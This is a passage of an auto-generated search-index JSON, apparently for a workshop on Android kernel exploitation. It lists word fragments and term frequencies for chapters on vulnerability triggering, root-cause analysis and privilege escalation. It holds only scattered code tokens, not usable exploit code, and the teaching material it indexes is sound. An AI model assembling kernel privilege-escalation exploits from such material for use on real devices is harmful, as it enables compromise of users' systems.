1201344161299357}},"f":{"docs":{},"i":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}},"s":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.008676789587852495}},":":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"s":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"c":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}},"i":{"docs":{},"r":{"docs":{},"t":{"docs":{},"u":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.010845986984815618},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}}}},"s":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}},"u":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}},"e":{"docs":{},"w":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"t":{"docs":{},"a":{"docs":{},"l":{"docs":{},"i":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"f":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"s":{"docs":{},"_":{"docs":{},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},"v":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"(":{"docs":{},"f":{"docs":{},".":{"docs":{},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"f":{"docs":{},"l":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"a":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"c":{"docs":{},"a":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0025564550489987218},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.003708987161198288},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}}}},"l":{"docs":{},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}}}}}}},"w":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}},"o":{"docs":{},"r":{"docs":{},"k":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"s":{"docs":{},"h":{"docs":{},"o":{"docs":{},"p":{"docs":{"./":{"ref":"./","tf":0.1},"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"/":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0034236804564907277},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}}}}}}}}},"b":{"docs":{},"u":{"docs":{},"i":{"docs":{},"l":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"e":{"docs":{},"x":{"docs":{},"p":{"docs":{},"l":{"docs":{},"o":{"docs":{},"i":{"docs":{},"t":{"docs":{},"/":{"docs":{},"t":{"docs":{},"r":{"docs":{},"i":{"docs":{},"g":{"docs":{},"g":{"docs":{},"e":{"docs":{},"r":{"docs":{},".":{"docs":{},"c":{"docs":{},"p":{"docs":{},"p":{"docs":{},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}}}}}}}},"p":{"docs":{},"a":{"docs":{},"t":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}},"g":{"docs":{},"d":{"docs":{},"b":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}},"n":{"docs":{},"'":{"docs":{},"t":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}},"a":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0033604032483898066}},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"r":{"docs":{},"r":{"docs":{},"a":{"docs":{},"n":{"docs":{},"t":{"docs":{},"y":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}},"n":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}},"_":{"docs":{},"o":{"docs":{},"n":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"_":{"docs":{},"i":{"docs":{},"r":{"docs":{},"q":{"docs":{},"(":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}},"i":{"docs":{},"t":{"4":{"docs":{},"(":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.003708987161198288},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.003920470456454775}},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},",":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.01282051282051282}},"e":{"docs":{},"_":{"docs":{},"a":{"docs":{},"c":{"docs":{},"t":{"docs":{},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},"(":{"docs":{},"&":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}},")":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},".":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},".":{"docs":{},"n":{"docs":{},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"v":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"_":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{},"e":{"docs":{},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}}},"y":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}},"_":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0034236804564907277},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},"_":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"_":{"docs":{},"n":{"docs":{},"o":{"docs":{},"d":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}},"(":{"docs":{},"n":{"docs":{},"u":{"docs":{},"l":{"docs":{},"l":{"docs":{},"p":{"docs":{},"t":{"docs":{},"r":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}},"k":{"docs":{},"e":{"docs":{},"_":{"docs":{},"c":{"docs":{},"p":{"docs":{},"u":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"q":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"n":{"docs":{},"o":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"u":{"docs":{},"p":{"docs":{},"_":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"(":{"docs":{},"&":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}}}},"e":{"docs":{},"_":{"docs":{},"f":{"docs":{},"l":{"docs":{},"i":{"docs":{},"p":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"c":{"docs":{},"a":{"docs":{},"y":{"docs":{},"_":{"docs":{},"t":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"u":{"docs":{},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"_":{"docs":{},"s":{"docs":{},"o":{"docs":{},"u":{"docs":{},"r":{"docs":{},"c":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}}}}}}}}}}}},"l":{"docs":{},"k":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"y":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}},"h":{"docs":{},"o":{"docs":{},"l":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"s":{"docs":{},"e":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"y":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"e":{"docs":{},"t":{"docs":{},"h":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"a":{"docs":{},"t":{"docs":{},"'":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{},"o":{"docs":{},"w":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"s":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},",":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}},"t":{"docs":{},"h":{"docs":{},"o":{"docs":{},"u":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}},"r":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"l":{"docs":{},"d":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}},"l":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},"p":{"docs":{},"e":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"e":{"docs":{},"'":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"i":{"docs":{},"g":{"docs":{},"h":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"_":{"docs":{},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}},"l":{"docs":{},"l":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"3":{"2":{"docs":{},"(":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{},",":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}}}}}}},"docs":{}},"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.01008120974516942}},"(":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"s":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"f":{"docs":{},"d":{"docs":{},"[":{"1":{"docs":{},"]":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"docs":{}}}}}}}}}},"_":{"docs":{},"o":{"docs":{},"n":{"docs":{},"c":{"docs":{},"e":{"docs":{},"(":{"docs":{},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"v":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}},"v":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.00504060487258471}},"(":{"docs":{},"p":{"docs":{},"i":{"docs":{},"p":{"docs":{},"e":{"docs":{},"_":{"docs":{},"f":{"docs":{},"d":{"docs":{},"[":{"1":{"docs":{},"]":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"docs":{}}}}}}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}},"t":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}}}}}}},"o":{"docs":{},"t":{"docs":{},"e":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"n":{"docs":{},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"/":{"docs":{},"o":{"docs":{},"u":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"q":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"=":{"0":{"docs":{},"x":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"8":{"8":{"8":{"0":{"5":{"docs":{},"c":{"0":{"5":{"docs":{},"c":{"docs":{},"a":{"docs":{},"c":{"8":{"docs":{},")":{"docs":{},"(":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}},"docs":{}}}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}},"docs":{}}}}}}}}},"p":{"docs":{},".":{"docs":{},"p":{"docs":{},"d":{"docs":{},"f":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}},"$":{"1":{"3":{"docs":{"chapters/exploitation.html":{"ref":"